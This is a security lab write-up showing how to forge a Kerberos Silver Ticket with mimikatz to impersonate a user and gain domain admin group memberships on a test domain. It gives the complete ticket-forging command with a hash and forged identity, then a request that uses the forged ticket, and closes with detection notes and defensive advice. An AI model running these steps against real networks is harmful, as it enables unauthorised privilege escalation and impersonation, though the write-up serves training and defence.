Kerberos: Silver Tickets

Credential Access

This lab looks at the technique of forging a cracked TGS Kerberos ticket in order to impersonate another user and escalate privileges from the perspective of a service the TGS was cracked for.

This lab builds on the explorations in T1208: Kerberoasting where a TGS ticket got cracked.

Execution

I will be using mimikatz to create a Kerberos Silver Ticket - forging/rewriting the cracked ticket with some new details that benefit me as an attacker.

Below is a table with values supplied to mimikatz explained and the command itself:

Argument	Notes
/sid:S-1-5-21-4172452648-1021989953-2368502130-1105	SID of the current user who is forging the ticket. Retrieved with whoami /user
/target:dc-mantvydas.offense.local	server hosting the attacked service for which the TGS ticket was cracked
/service:http	service type being attacked
/rc4:a87f3a337d73085c45f9416be5787d86	NTLM hash of the password the TGS ticket was encrypted with. Passw0rd in our case
/user:beningnadmin	Forging the user name. This is the user name that will appear in the windows security logs - fun.
/id:1155	Forging user's RID - fun
/ptt	Instructs mimikatz to inject the forged ticket to memory to make it usable immediately

Getting our user's SID as explained in the first step in the above table:

Getting a user's SID

Issuing the final mimikatz command to create our forged (silver) ticket:

attacker@victim

mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin

Checking available tickets in memory with klist - note how the ticket shows our forged username benignadmin and a forged user id:

Note in the above mimikatz window the Group IDs which our fake user benignadmin is now a member of due to the forged ticket:

GID	Group Name
512	Domain Admins
513	Domain Users
518	Schema Admins
519	Enterprise Admins
520	Group Policy Creator Owners

Initiating a request to the attacked service with a TGS ticket - note that the authentication is successfull:

attacker@victim

Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local

Observations

Note a network logon from benignadmin as well as forged RIDs:

It is better not to use user accounts for running services on them, but if you do, make sure to use really strong passwords! Computer accounts generate long and complex passwords and they change frequently, so they are better suited for running services on. Better yet, follow good practices such as using Group Managed Service Accounts for running more secure services.

References

Impersonating Service Accounts with Silver TicketsStealthbits Technologies

How Attackers Use Kerberos Silver Tickets to Exploit SystemsActive Directory Security